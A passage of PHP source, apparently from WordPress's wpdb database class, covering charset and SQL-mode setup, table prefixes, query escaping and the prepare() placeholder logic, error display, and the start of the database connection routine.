	 * @param string $collate Optional. The collation. Default null.
	 */
	public function set_charset( $dbh, $charset = null, $collate = null ) {
		if ( ! isset( $charset ) ) {
			$charset = $this->charset;
		}
		if ( ! isset( $collate ) ) {
			$collate = $this->collate;
		}
		if ( $this->has_cap( 'collation' ) && ! empty( $charset ) ) {
			$set_charset_succeeded = true;

			if ( function_exists( 'mysqli_set_charset' ) && $this->has_cap( 'set_charset' ) ) {
				$set_charset_succeeded = mysqli_set_charset( $dbh, $charset );
			}

			if ( $set_charset_succeeded ) {
				$query = $this->prepare( 'SET NAMES %s', $charset );
				if ( ! empty( $collate ) ) {
					$query .= $this->prepare( ' COLLATE %s', $collate );
				}
				mysqli_query( $dbh, $query );
			}
		}
	}

	/**
	 * Changes the current SQL mode, and ensures its WordPress compatibility.
	 *
	 * If no modes are passed, it will ensure the current SQL server modes are compatible.
	 *
	 * @since 3.9.0
	 *
	 * @param array $modes Optional. A list of SQL modes to set. Default empty array.
	 */
	public function set_sql_mode( $modes = array() ) {
		if ( empty( $modes ) ) {
			$res = mysqli_query( $this->dbh, 'SELECT @@SESSION.sql_mode' );

			if ( empty( $res ) ) {
				return;
			}

			$modes_array = mysqli_fetch_array( $res );

			if ( empty( $modes_array[0] ) ) {
				return;
			}

			$modes_str = $modes_array[0];

			if ( empty( $modes_str ) ) {
				return;
			}

			$modes = explode( ',', $modes_str );
		}

		$modes = array_change_key_case( $modes, CASE_UPPER );

		/**
		 * Filters the list of incompatible SQL modes to exclude.
		 *
		 * @since 3.9.0
		 *
		 * @param array $incompatible_modes An array of incompatible modes.
		 */
		$incompatible_modes = (array) apply_filters( 'incompatible_sql_modes', $this->incompatible_modes );

		foreach ( $modes as $i => $mode ) {
			if ( in_array( $mode, $incompatible_modes, true ) ) {
				unset( $modes[ $i ] );
			}
		}

		$modes_str = implode( ',', $modes );

		mysqli_query( $this->dbh, "SET SESSION sql_mode='$modes_str'" );
	}

	/**
	 * Sets the table prefix for the WordPress tables.
	 *
	 * @since 2.5.0
	 *
	 * @param string $prefix          Alphanumeric name for the new prefix.
	 * @param bool   $set_table_names Optional. Whether the table names, e.g. wpdb::$posts,
	 *                                should be updated or not. Default true.
	 * @return string|WP_Error Old prefix or WP_Error on error.
	 */
	public function set_prefix( $prefix, $set_table_names = true ) {

		if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) {
			return new WP_Error( 'invalid_db_prefix', 'Invalid database prefix' );
		}

		$old_prefix = is_multisite() ? '' : $prefix;

		if ( isset( $this->base_prefix ) ) {
			$old_prefix = $this->base_prefix;
		}

		$this->base_prefix = $prefix;

		if ( $set_table_names ) {
			foreach ( $this->tables( 'global' ) as $table => $prefixed_table ) {
				$this->$table = $prefixed_table;
			}

			if ( is_multisite() && empty( $this->blogid ) ) {
				return $old_prefix;
			}

			$this->prefix = $this->get_blog_prefix();

			foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) {
				$this->$table = $prefixed_table;
			}

			foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) {
				$this->$table = $prefixed_table;
			}
		}
		return $old_prefix;
	}

	/**
	 * Sets blog ID.
	 *
	 * @since 3.0.0
	 *
	 * @param int $blog_id
	 * @param int $network_id Optional. Network ID. Default 0.
	 * @return int Previous blog ID.
	 */
	public function set_blog_id( $blog_id, $network_id = 0 ) {
		if ( ! empty( $network_id ) ) {
			$this->siteid = $network_id;
		}

		$old_blog_id  = $this->blogid;
		$this->blogid = $blog_id;

		$this->prefix = $this->get_blog_prefix();

		foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) {
			$this->$table = $prefixed_table;
		}

		foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) {
			$this->$table = $prefixed_table;
		}

		return $old_blog_id;
	}

	/**
	 * Gets blog prefix.
	 *
	 * @since 3.0.0
	 *
	 * @param int $blog_id Optional. Blog ID to retrieve the table prefix for.
	 *                     Defaults to the current blog ID.
	 * @return string Blog prefix.
	 */
	public function get_blog_prefix( $blog_id = null ) {
		if ( is_multisite() ) {
			if ( null === $blog_id ) {
				$blog_id = $this->blogid;
			}

			$blog_id = (int) $blog_id;

			if ( defined( 'MULTISITE' ) && ( 0 === $blog_id || 1 === $blog_id ) ) {
				return $this->base_prefix;
			} else {
				return $this->base_prefix . $blog_id . '_';
			}
		} else {
			return $this->base_prefix;
		}
	}

	/**
	 * Returns an array of WordPress tables.
	 *
	 * Also allows for the `CUSTOM_USER_TABLE` and `CUSTOM_USER_META_TABLE` to override the WordPress users
	 * and usermeta tables that would otherwise be determined by the prefix.
	 *
	 * The `$scope` argument can take one of the following:
	 *
	 * - 'all' - returns 'all' and 'global' tables. No old tables are returned.
	 * - 'blog' - returns the blog-level tables for the queried blog.
	 * - 'global' - returns the global tables for the installation, returning multisite tables only on multisite.
	 * - 'ms_global' - returns the multisite global tables, regardless if current installation is multisite.
	 * - 'old' - returns tables which are deprecated.
	 *
	 * @since 3.0.0
	 * @since 6.1.0 `old` now includes deprecated multisite global tables only on multisite.
	 *
	 * @uses wpdb::$tables
	 * @uses wpdb::$old_tables
	 * @uses wpdb::$global_tables
	 * @uses wpdb::$ms_global_tables
	 * @uses wpdb::$old_ms_global_tables
	 *
	 * @param string $scope   Optional. Possible values include 'all', 'global', 'ms_global', 'blog',
	 *                        or 'old' tables. Default 'all'.
	 * @param bool   $prefix  Optional. Whether to include table prefixes. If blog prefix is requested,
	 *                        then the custom users and usermeta tables will be mapped. Default true.
	 * @param int    $blog_id Optional. The blog_id to prefix. Used only when prefix is requested.
	 *                        Defaults to `wpdb::$blogid`.
	 * @return string[] Table names. When a prefix is requested, the key is the unprefixed table name.
	 */
	public function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) {
		switch ( $scope ) {
			case 'all':
				$tables = array_merge( $this->global_tables, $this->tables );
				if ( is_multisite() ) {
					$tables = array_merge( $tables, $this->ms_global_tables );
				}
				break;
			case 'blog':
				$tables = $this->tables;
				break;
			case 'global':
				$tables = $this->global_tables;
				if ( is_multisite() ) {
					$tables = array_merge( $tables, $this->ms_global_tables );
				}
				break;
			case 'ms_global':
				$tables = $this->ms_global_tables;
				break;
			case 'old':
				$tables = $this->old_tables;
				if ( is_multisite() ) {
					$tables = array_merge( $tables, $this->old_ms_global_tables );
				}
				break;
			default:
				return array();
		}

		if ( $prefix ) {
			if ( ! $blog_id ) {
				$blog_id = $this->blogid;
			}
			$blog_prefix   = $this->get_blog_prefix( $blog_id );
			$base_prefix   = $this->base_prefix;
			$global_tables = array_merge( $this->global_tables, $this->ms_global_tables );
			foreach ( $tables as $k => $table ) {
				if ( in_array( $table, $global_tables, true ) ) {
					$tables[ $table ] = $base_prefix . $table;
				} else {
					$tables[ $table ] = $blog_prefix . $table;
				}
				unset( $tables[ $k ] );
			}

			if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) ) {
				$tables['users'] = CUSTOM_USER_TABLE;
			}

			if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) ) {
				$tables['usermeta'] = CUSTOM_USER_META_TABLE;
			}
		}

		return $tables;
	}

	/**
	 * Selects a database using the current or provided database connection.
	 *
	 * The database name will be changed based on the current database connection.
	 * On failure, the execution will bail and display a DB error.
	 *
	 * @since 0.71
	 *
	 * @param string $db  Database name.
	 * @param mysqli $dbh Optional. Database connection.
	 *                    Defaults to the current database handle.
	 */
	public function select( $db, $dbh = null ) {
		if ( is_null( $dbh ) ) {
			$dbh = $this->dbh;
		}

		$success = mysqli_select_db( $dbh, $db );

		if ( ! $success ) {
			$this->ready = false;
			if ( ! did_action( 'template_redirect' ) ) {
				wp_load_translations_early();

				$message = '<h1>' . __( 'Cannot select database' ) . "</h1>\n";

				$message .= '<p>' . sprintf(
					/* translators: %s: Database name. */
					__( 'The database server could be connected to (which means your username and password is okay) but the %s database could not be selected.' ),
					'<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>'
				) . "</p>\n";

				$message .= "<ul>\n";
				$message .= '<li>' . __( 'Are you sure it exists?' ) . "</li>\n";

				$message .= '<li>' . sprintf(
					/* translators: 1: Database user, 2: Database name. */
					__( 'Does the user %1$s have permission to use the %2$s database?' ),
					'<code>' . htmlspecialchars( $this->dbuser, ENT_QUOTES ) . '</code>',
					'<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>'
				) . "</li>\n";

				$message .= '<li>' . sprintf(
					/* translators: %s: Database name. */
					__( 'On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?' ),
					htmlspecialchars( $db, ENT_QUOTES )
				) . "</li>\n";

				$message .= "</ul>\n";

				$message .= '<p>' . sprintf(
					/* translators: %s: Support forums URL. */
					__( 'If you do not know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href="%s">WordPress support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				) . "</p>\n";

				$this->bail( $message, 'db_select_fail' );
			}
		}
	}

	/**
	 * Do not use, deprecated.
	 *
	 * Use esc_sql() or wpdb::prepare() instead.
	 *
	 * @since 2.8.0
	 * @deprecated 3.6.0 Use wpdb::prepare()
	 * @see wpdb::prepare()
	 * @see esc_sql()
	 *
	 * @param string $data
	 * @return string
	 */
	public function _weak_escape( $data ) {
		if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) {
			_deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' );
		}
		return addslashes( $data );
	}

	/**
	 * Real escape using mysqli_real_escape_string().
	 *
	 * @since 2.8.0
	 *
	 * @see mysqli_real_escape_string()
	 *
	 * @param string $data String to escape.
	 * @return string Escaped string.
	 */
	public function _real_escape( $data ) {
		if ( ! is_scalar( $data ) ) {
			return '';
		}

		if ( $this->dbh ) {
			$escaped = mysqli_real_escape_string( $this->dbh, $data );
		} else {
			$class = get_class( $this );

			wp_load_translations_early();
			/* translators: %s: Database access abstraction class, usually wpdb or a class extending wpdb. */
			_doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), '3.6.0' );

			$escaped = addslashes( $data );
		}

		return $this->add_placeholder_escape( $escaped );
	}

	/**
	 * Escapes data. Works on arrays.
	 *
	 * @since 2.8.0
	 *
	 * @uses wpdb::_real_escape()
	 *
	 * @param string|array $data Data to escape.
	 * @return string|array Escaped data, in the same type as supplied.
	 */
	public function _escape( $data ) {
		if ( is_array( $data ) ) {
			foreach ( $data as $k => $v ) {
				if ( is_array( $v ) ) {
					$data[ $k ] = $this->_escape( $v );
				} else {
					$data[ $k ] = $this->_real_escape( $v );
				}
			}
		} else {
			$data = $this->_real_escape( $data );
		}

		return $data;
	}

	/**
	 * Do not use, deprecated.
	 *
	 * Use esc_sql() or wpdb::prepare() instead.
	 *
	 * @since 0.71
	 * @deprecated 3.6.0 Use wpdb::prepare()
	 * @see wpdb::prepare()
	 * @see esc_sql()
	 *
	 * @param string|array $data Data to escape.
	 * @return string|array Escaped data, in the same type as supplied.
	 */
	public function escape( $data ) {
		if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) {
			_deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' );
		}
		if ( is_array( $data ) ) {
			foreach ( $data as $k => $v ) {
				if ( is_array( $v ) ) {
					$data[ $k ] = $this->escape( $v, 'recursive' );
				} else {
					$data[ $k ] = $this->_weak_escape( $v, 'internal' );
				}
			}
		} else {
			$data = $this->_weak_escape( $data, 'internal' );
		}

		return $data;
	}

	/**
	 * Escapes content by reference for insertion into the database, for security.
	 *
	 * @uses wpdb::_real_escape()
	 *
	 * @since 2.3.0
	 *
	 * @param string $data String to escape.
	 */
	public function escape_by_ref( &$data ) {
		if ( ! is_float( $data ) ) {
			$data = $this->_real_escape( $data );
		}
	}

	/**
	 * Quotes an identifier such as a table or field name.
	 *
	 * @since 6.2.0
	 *
	 * @param string $identifier Identifier to escape.
	 * @return string Escaped identifier.
	 */
	public function quote_identifier( $identifier ) {
		return '`' . $this->_escape_identifier_value( $identifier ) . '`';
	}

	/**
	 * Escapes an identifier value without adding the surrounding quotes.
	 *
	 * - Permitted characters in quoted identifiers include the full Unicode
	 *   Basic Multilingual Plane (BMP), except U+0000.
	 * - To quote the identifier itself, you need to double the character, e.g. `a``b`.
	 *
	 * @since 6.2.0
	 *
	 * @link https://dev.mysql.com/doc/refman/8.0/en/identifiers.html
	 *
	 * @param string $identifier Identifier to escape.
	 * @return string Escaped identifier.
	 */
	private function _escape_identifier_value( $identifier ) {
		return str_replace( '`', '``', $identifier );
	}

	/**
	 * Prepares a SQL query for safe execution.
	 *
	 * Uses `sprintf()`-like syntax. The following placeholders can be used in the query string:
	 *
	 * - `%d` (integer)
	 * - `%f` (float)
	 * - `%s` (string)
	 * - `%i` (identifier, e.g. table/field names)
	 *
	 * All placeholders MUST be left unquoted in the query string. A corresponding argument
	 * MUST be passed for each placeholder.
	 *
	 * Note: There is one exception to the above: for compatibility with old behavior,
	 * numbered or formatted string placeholders (eg, `%1$s`, `%5s`) will not have quotes
	 * added by this function, so should be passed with appropriate quotes around them.
	 *
	 * Literal percentage signs (`%`) in the query string must be written as `%%`. Percentage wildcards
	 * (for example, to use in LIKE syntax) must be passed via a substitution argument containing
	 * the complete LIKE string, these cannot be inserted directly in the query string.
	 * Also see wpdb::esc_like().
	 *
	 * Arguments may be passed as individual arguments to the method, or as a single array
	 * containing all arguments. A combination of the two is not supported.
	 *
	 * Examples:
	 *
	 *     $wpdb->prepare(
	 *         "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d OR `other_field` LIKE %s",
	 *         array( 'foo', 1337, '%bar' )
	 *     );
	 *
	 *     $wpdb->prepare(
	 *         "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s",
	 *         'foo'
	 *     );
	 *
	 *     $wpdb->prepare(
	 *         "SELECT * FROM %i WHERE %i = %s",
	 *         $table,
	 *         $field,
	 *         $value
	 *     );
	 *
	 * @since 2.3.0
	 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
	 *              by updating the function signature. The second parameter was changed
	 *              from `$args` to `...$args`.
	 * @since 6.2.0 Added `%i` for identifiers, e.g. table or field names.
	 *              Check support via `wpdb::has_cap( 'identifier_placeholders' )`.
	 *              This preserves compatibility with `sprintf()`, as the C version uses
	 *              `%d` and `$i` as a signed integer, whereas PHP only supports `%d`.
	 *
	 * @link https://www.php.net/sprintf Description of syntax.
	 *
	 * @param string      $query   Query statement with `sprintf()`-like placeholders.
	 * @param array|mixed $args    The array of variables to substitute into the query's placeholders
	 *                             if being called with an array of arguments, or the first variable
	 *                             to substitute into the query's placeholders if being called with
	 *                             individual arguments.
	 * @param mixed       ...$args Further variables to substitute into the query's placeholders
	 *                             if being called with individual arguments.
	 * @return string|void Sanitized query string, if there is a query to prepare.
	 */
	public function prepare( $query, ...$args ) {
		if ( is_null( $query ) ) {
			return;
		}

		/*
		 * This is not meant to be foolproof -- but it will catch obviously incorrect usage.
		 *
		 * Note: str_contains() is not used here, as this file can be included
		 * directly outside of WordPress core, e.g. by HyperDB, in which case
		 * the polyfills from wp-includes/compat.php are not loaded.
		 */
		if ( false === strpos( $query, '%' ) ) {
			wp_load_translations_early();
			_doing_it_wrong(
				'wpdb::prepare',
				sprintf(
					/* translators: %s: wpdb::prepare() */
					__( 'The query argument of %s must have a placeholder.' ),
					'wpdb::prepare()'
				),
				'3.9.0'
			);
		}

		/*
		 * Specify the formatting allowed in a placeholder. The following are allowed:
		 *
		 * - Sign specifier, e.g. $+d
		 * - Numbered placeholders, e.g. %1$s
		 * - Padding specifier, including custom padding characters, e.g. %05s, %'#5s
		 * - Alignment specifier, e.g. %05-s
		 * - Precision specifier, e.g. %.2f
		 */
		$allowed_format = '(?:[1-9][0-9]*[$])?[-+0-9]*(?: |0|\'.)?[-+0-9]*(?:\.[0-9]+)?';

		/*
		 * If a %s placeholder already has quotes around it, removing the existing quotes
		 * and re-inserting them ensures the quotes are consistent.
		 *
		 * For backward compatibility, this is only applied to %s, and not to placeholders like %1$s,
		 * which are frequently used in the middle of longer strings, or as table name placeholders.
		 */
		$query = str_replace( "'%s'", '%s', $query ); // Strip any existing single quotes.
		$query = str_replace( '"%s"', '%s', $query ); // Strip any existing double quotes.

		// Escape any unescaped percents (i.e. anything unrecognised).
		$query = preg_replace( "/%(?:%|$|(?!($allowed_format)?[sdfFi]))/", '%%\\1', $query );

		// Extract placeholders from the query.
		$split_query = preg_split( "/(^|[^%]|(?:%%)+)(%(?:$allowed_format)?[sdfFi])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE );

		$split_query_count = count( $split_query );

		/*
		 * Split always returns with 1 value before the first placeholder (even with $query = "%s"),
		 * then 3 additional values per placeholder.
		 */
		$placeholder_count = ( ( $split_query_count - 1 ) / 3 );

		// If args were passed as an array, as in vsprintf(), move them up.
		$passed_as_array = ( isset( $args[0] ) && is_array( $args[0] ) && 1 === count( $args ) );
		if ( $passed_as_array ) {
			$args = $args[0];
		}

		$new_query       = '';
		$key             = 2; // Keys 0 and 1 in $split_query contain values before the first placeholder.
		$arg_id          = 0;
		$arg_identifiers = array();
		$arg_strings     = array();

		while ( $key < $split_query_count ) {
			$placeholder = $split_query[ $key ];

			$format = substr( $placeholder, 1, -1 );
			$type   = substr( $placeholder, -1 );

			if ( 'f' === $type && true === $this->allow_unsafe_unquoted_parameters
				/*
				 * Note: str_ends_with() is not used here, as this file can be included
				 * directly outside of WordPress core, e.g. by HyperDB, in which case
				 * the polyfills from wp-includes/compat.php are not loaded.
				 */
				&& '%' === substr( $split_query[ $key - 1 ], -1, 1 )
			) {

				/*
				 * Before WP 6.2 the "force floats to be locale-unaware" RegEx didn't
				 * convert "%%%f" to "%%%F" (note the uppercase F).
				 * This was because it didn't check to see if the leading "%" was escaped.
				 * And because the "Escape any unescaped percents" RegEx used "[sdF]" in its
				 * negative lookahead assertion, when there was an odd number of "%", it added
				 * an extra "%", to give the fully escaped "%%%%f" (not a placeholder).
				 */

				$s = $split_query[ $key - 2 ] . $split_query[ $key - 1 ];
				$k = 1;
				$l = strlen( $s );
				while ( $k <= $l && '%' === $s[ $l - $k ] ) {
					++$k;
				}

				$placeholder = '%' . ( $k % 2 ? '%' : '' ) . $format . $type;

				--$placeholder_count;

			} else {

				// Force floats to be locale-unaware.
				if ( 'f' === $type ) {
					$type        = 'F';
					$placeholder = '%' . $format . $type;
				}

				if ( 'i' === $type ) {
					$placeholder = '`%' . $format . 's`';
					// Using a simple strpos() due to previous checking (e.g. $allowed_format).
					$argnum_pos = strpos( $format, '$' );

					if ( false !== $argnum_pos ) {
						// sprintf() argnum starts at 1, $arg_id from 0.
						$arg_identifiers[] = ( ( (int) substr( $format, 0, $argnum_pos ) ) - 1 );
					} else {
						$arg_identifiers[] = $arg_id;
					}
				} elseif ( 'd' !== $type && 'F' !== $type ) {
					/*
					 * i.e. ( 's' === $type ), where 'd' and 'F' keeps $placeholder unchanged,
					 * and we ensure string escaping is used as a safe default (e.g. even if 'x').
					 */
					$argnum_pos = strpos( $format, '$' );

					if ( false !== $argnum_pos ) {
						$arg_strings[] = ( ( (int) substr( $format, 0, $argnum_pos ) ) - 1 );
					} else {
						$arg_strings[] = $arg_id;
					}

					/*
					 * Unquoted strings for backward compatibility (dangerous).
					 * First, "numbered or formatted string placeholders (eg, %1$s, %5s)".
					 * Second, if "%s" has a "%" before it, even if it's unrelated (e.g. "LIKE '%%%s%%'").
					 */
					if ( true !== $this->allow_unsafe_unquoted_parameters
						/*
						 * Note: str_ends_with() is not used here, as this file can be included
						 * directly outside of WordPress core, e.g. by HyperDB, in which case
						 * the polyfills from wp-includes/compat.php are not loaded.
						 */
						|| ( '' === $format && '%' !== substr( $split_query[ $key - 1 ], -1, 1 ) )
					) {
						$placeholder = "'%" . $format . "s'";
					}
				}
			}

			// Glue (-2), any leading characters (-1), then the new $placeholder.
			$new_query .= $split_query[ $key - 2 ] . $split_query[ $key - 1 ] . $placeholder;

			$key += 3;
			++$arg_id;
		}

		// Replace $query; and add remaining $query characters, or index 0 if there were no placeholders.
		$query = $new_query . $split_query[ $key - 2 ];

		$dual_use = array_intersect( $arg_identifiers, $arg_strings );

		if ( count( $dual_use ) > 0 ) {
			wp_load_translations_early();

			$used_placeholders = array();

			$key    = 2;
			$arg_id = 0;
			// Parse again (only used when there is an error).
			while ( $key < $split_query_count ) {
				$placeholder = $split_query[ $key ];

				$format = substr( $placeholder, 1, -1 );

				$argnum_pos = strpos( $format, '$' );

				if ( false !== $argnum_pos ) {
					$arg_pos = ( ( (int) substr( $format, 0, $argnum_pos ) ) - 1 );
				} else {
					$arg_pos = $arg_id;
				}

				$used_placeholders[ $arg_pos ][] = $placeholder;

				$key += 3;
				++$arg_id;
			}

			$conflicts = array();
			foreach ( $dual_use as $arg_pos ) {
				$conflicts[] = implode( ' and ', $used_placeholders[ $arg_pos ] );
			}

			_doing_it_wrong(
				'wpdb::prepare',
				sprintf(
					/* translators: %s: A list of placeholders found to be a problem. */
					__( 'Arguments cannot be prepared as both an Identifier and Value. Found the following conflicts: %s' ),
					implode( ', ', $conflicts )
				),
				'6.2.0'
			);

			return;
		}

		$args_count = count( $args );

		if ( $args_count !== $placeholder_count ) {
			if ( 1 === $placeholder_count && $passed_as_array ) {
				/*
				 * If the passed query only expected one argument,
				 * but the wrong number of arguments was sent as an array, bail.
				 */
				wp_load_translations_early();
				_doing_it_wrong(
					'wpdb::prepare',
					__( 'The query only expected one placeholder, but an array of multiple placeholders was sent.' ),
					'4.9.0'
				);

				return;
			} else {
				/*
				 * If we don't have the right number of placeholders,
				 * but they were passed as individual arguments,
				 * or we were expecting multiple arguments in an array, throw a warning.
				 */
				wp_load_translations_early();
				_doing_it_wrong(
					'wpdb::prepare',
					sprintf(
						/* translators: 1: Number of placeholders, 2: Number of arguments passed. */
						__( 'The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d).' ),
						$placeholder_count,
						$args_count
					),
					'4.8.3'
				);

				/*
				 * If we don't have enough arguments to match the placeholders,
				 * return an empty string to avoid a fatal error on PHP 8.
				 */
				if ( $args_count < $placeholder_count ) {
					$max_numbered_placeholder = 0;

					for ( $i = 2, $l = $split_query_count; $i < $l; $i += 3 ) {
						// Assume a leading number is for a numbered placeholder, e.g. '%3$s'.
						$argnum = (int) substr( $split_query[ $i ], 1 );

						if ( $max_numbered_placeholder < $argnum ) {
							$max_numbered_placeholder = $argnum;
						}
					}

					if ( ! $max_numbered_placeholder || $args_count < $max_numbered_placeholder ) {
						return '';
					}
				}
			}
		}

		$args_escaped = array();

		foreach ( $args as $i => $value ) {
			if ( in_array( $i, $arg_identifiers, true ) ) {
				$args_escaped[] = $this->_escape_identifier_value( $value );
			} elseif ( is_int( $value ) || is_float( $value ) ) {
				$args_escaped[] = $value;
			} else {
				if ( ! is_scalar( $value ) && ! is_null( $value ) ) {
					wp_load_translations_early();
					_doing_it_wrong(
						'wpdb::prepare',
						sprintf(
							/* translators: %s: Value type. */
							__( 'Unsupported value type (%s).' ),
							gettype( $value )
						),
						'4.8.2'
					);

					// Preserving old behavior, where values are escaped as strings.
					$value = '';
				}

				$args_escaped[] = $this->_real_escape( $value );
			}
		}

		$query = vsprintf( $query, $args_escaped );

		return $this->add_placeholder_escape( $query );
	}

	/**
	 * First half of escaping for `LIKE` special characters `%` and `_` before preparing for SQL.
	 *
	 * Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security.
	 *
	 * Example Prepared Statement:
	 *
	 *     $wild = '%';
	 *     $find = 'only 43% of planets';
	 *     $like = $wild . $wpdb->esc_like( $find ) . $wild;
	 *     $sql  = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE %s", $like );
	 *
	 * Example Escape Chain:
	 *
	 *     $sql  = esc_sql( $wpdb->esc_like( $input ) );
	 *
	 * @since 4.0.0
	 *
	 * @param string $text The raw text to be escaped. The input typed by the user
	 *                     should have no extra or deleted slashes.
	 * @return string Text in the form of a LIKE phrase. The output is not SQL safe.
	 *                Call wpdb::prepare() or wpdb::_real_escape() next.
	 */
	public function esc_like( $text ) {
		return addcslashes( $text, '_%\\' );
	}

	/**
	 * Prints SQL/DB error.
	 *
	 * @since 0.71
	 *
	 * @global array $EZSQL_ERROR Stores error information of query and error string.
	 *
	 * @param string $str The error to display.
	 * @return void|false Void if the showing of errors is enabled, false if disabled.
	 */
	public function print_error( $str = '' ) {
		global $EZSQL_ERROR;

		if ( ! $str ) {
			$str = mysqli_error( $this->dbh );
		}

		$EZSQL_ERROR[] = array(
			'query'     => $this->last_query,
			'error_str' => $str,
		);

		if ( $this->suppress_errors ) {
			return false;
		}

		$caller = $this->get_caller();
		if ( $caller ) {
			// Not translated, as this will only appear in the error log.
			$error_str = sprintf( 'WordPress database error %1$s for query %2$s made by %3$s', $str, $this->last_query, $caller );
		} else {
			$error_str = sprintf( 'WordPress database error %1$s for query %2$s', $str, $this->last_query );
		}

		error_log( $error_str );

		// Are we showing errors?
		if ( ! $this->show_errors ) {
			return false;
		}

		wp_load_translations_early();

		// If there is an error then take note of it.
		if ( is_multisite() ) {
			$msg = sprintf(
				"%s [%s]\n%s\n",
				__( 'WordPress database error:' ),
				$str,
				$this->last_query
			);

			if ( defined( 'ERRORLOGFILE' ) ) {
				error_log( $msg, 3, ERRORLOGFILE );
			}
			if ( defined( 'DIEONDBERROR' ) ) {
				wp_die( $msg );
			}
		} else {
			$str   = htmlspecialchars( $str, ENT_QUOTES );
			$query = htmlspecialchars( $this->last_query, ENT_QUOTES );

			printf(
				'<div id="error"><p class="wpdberror"><strong>%s</strong> [%s]<br /><code>%s</code></p></div>',
				__( 'WordPress database error:' ),
				$str,
				$query
			);
		}
	}

	/**
	 * Enables showing of database errors.
	 *
	 * This function should be used only to enable showing of errors.
	 * wpdb::hide_errors() should be used instead for hiding errors.
	 *
	 * @since 0.71
	 *
	 * @see wpdb::hide_errors()
	 *
	 * @param bool $show Optional. Whether to show errors. Default true.
	 * @return bool Whether showing of errors was previously active.
	 */
	public function show_errors( $show = true ) {
		$errors            = $this->show_errors;
		$this->show_errors = $show;
		return $errors;
	}

	/**
	 * Disables showing of database errors.
	 *
	 * By default database errors are not shown.
	 *
	 * @since 0.71
	 *
	 * @see wpdb::show_errors()
	 *
	 * @return bool Whether showing of errors was previously active.
	 */
	public function hide_errors() {
		$show              = $this->show_errors;
		$this->show_errors = false;
		return $show;
	}

	/**
	 * Enables or disables suppressing of database errors.
	 *
	 * By default database errors are suppressed.
	 *
	 * @since 2.5.0
	 *
	 * @see wpdb::hide_errors()
	 *
	 * @param bool $suppress Optional. Whether to suppress errors. Default true.
	 * @return bool Whether suppressing of errors was previously active.
	 */
	public function suppress_errors( $suppress = true ) {
		$errors                = $this->suppress_errors;
		$this->suppress_errors = (bool) $suppress;
		return $errors;
	}

	/**
	 * Kills cached query results.
	 *
	 * @since 0.71
	 */
	public function flush() {
		$this->last_result   = array();
		$this->col_info      = null;
		$this->last_query    = null;
		$this->rows_affected = 0;
		$this->num_rows      = 0;
		$this->last_error    = '';

		if ( $this->result instanceof mysqli_result ) {
			mysqli_free_result( $this->result );
			$this->result = null;

			// Confidence check before using the handle.
			if ( empty( $this->dbh ) || ! ( $this->dbh instanceof mysqli ) ) {
				return;
			}

			// Clear out any results from a multi-query.
			while ( mysqli_more_results( $this->dbh ) ) {
				mysqli_next_result( $this->dbh );
			}
		}
	}

	/**
	 * Connects to and selects database.
	 *
	 * If `$allow_bail` is false, the lack of database connection will need to be handled manually.
	 *
	 * @since 3.0.0
	 * @since 3.9.0 $allow_bail parameter added.
	 *
	 * @param bool $allow_bail Optional. Allows the function to bail. Default true.
	 * @return bool True with a successful connection, false on failure.
	 */
	public function db_connect( $allow_bail = true ) {
		$this->is_mysql = true;

		$client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0;

		/*
		 * Switch error reporting off because WordPress handles its own.
		 * This is due to the default value change from `MYSQLI_REPORT_OFF`
		 * to `MYSQLI_REPORT_ERROR|MYSQLI_REPORT_STRICT` in PHP 8.1.
		 */
		mysqli_report( MYSQLI_REPORT_OFF );

		$this->dbh = mysqli_init();

		$host    = $this->dbhost;
		$port    = null;
		$socket  = null;
		$is_ipv6 = false;

		$host_data = $this->parse_db_host( $this->dbhost );
		if ( $host_data ) {
			list( $host, $port, $socket, $is_ipv6 ) = $host_data;
		}

		/*
		 * If using the `mysqlnd` library, the IPv6 address needs to be enclosed
		 * in square brackets, whereas it doesn't while using the `libmysqlclient` library.
		 * @see https://bugs.php.net/bug.php?id=67563
		 */
		if ( $is_ipv6 && extension_loaded( 'mysqlnd' ) ) {
			$host = "[$host]";
		}

		if ( WP_DEBUG ) {
			mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
		} else {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
			@mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
		}

		if ( $this->dbh->connect_errno ) {
			$this->dbh = null;
		}

		if ( ! $this->dbh && $allow_bail ) {
			wp_load_translations_early();

			// Load custom DB error template, if present.
			if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
				require_once WP_CONTENT_DIR . '/db-error.php';
				die();
			}

			$message = '<h1>' . __( 'Error establishing a database connection' ) . "</h1>\n";

			$message .= '<p>' . sprintf(
				/* translators: 1: wp-config.php, 2: Database host. */
				__( 'This either means that the username and password information in your %1$s file is incorrect or that contact with the database server at %2$s could not be established. This could mean your host&#8217;s database server is down.' ),
				'<code>wp-config.php</code>',
